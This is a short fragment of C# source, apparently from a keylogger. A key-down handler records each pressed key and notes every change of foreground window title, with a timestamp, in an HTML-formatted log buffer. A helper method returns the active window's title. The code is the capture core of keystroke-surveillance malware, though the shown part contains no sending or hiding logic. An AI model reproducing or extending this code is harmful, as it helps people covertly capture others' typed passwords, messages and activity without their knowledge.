/// <summary> /// Initial handling of the key down events and updates the window title. /// </summary> /// <param name="sender">The sender of the event.</param> /// <param name="e">The key event args, e.g. the keycode.</param> /// <remarks>This event handler is called first.</remarks> private void OnKeyDown(object sender, KeyEventArgs e) { string activeWindowTitle = NativeMethodsHelper.GetForegroundWindowTitle(); if (!string.IsNullOrEmpty(activeWindowTitle) && activeWindowTitle != _lastWindowTitle) { _lastWindowTitle = activeWindowTitle; _logFileBuffer.Append(@"<p class=""h""><br><br>[<b>" + HttpUtility.HtmlEncode(activeWindowTitle) + " - " + DateTime.Now.ToString("HH:mm") + "</b>]</p><br>"); } if (_pressedKeys.ContainsModifierKeys()) { if (!_pressedKeys.Contains(e.KeyCode)) { Debug.WriteLine("OnKeyDown: " + e.KeyCode); _pressedKeys.Add(e.KeyCode); return; } } if (!e.KeyCode.IsExcludedKey()) { // The key was not part of the keys that we wish to filter, so // be sure to prevent a situation where multiple keys are pressed. if (!_pressedKeys.Contains(e.KeyCode)) { Debug.WriteLine("OnKeyDown: " + e.KeyCode); _pressedKeys.Add(e.KeyCode); } } }
public static string GetActiveWindowTitle() { string title = NativeMethodsHelper.GetForegroundWindowTitle(); return((!string.IsNullOrEmpty(title)) ? title : null); }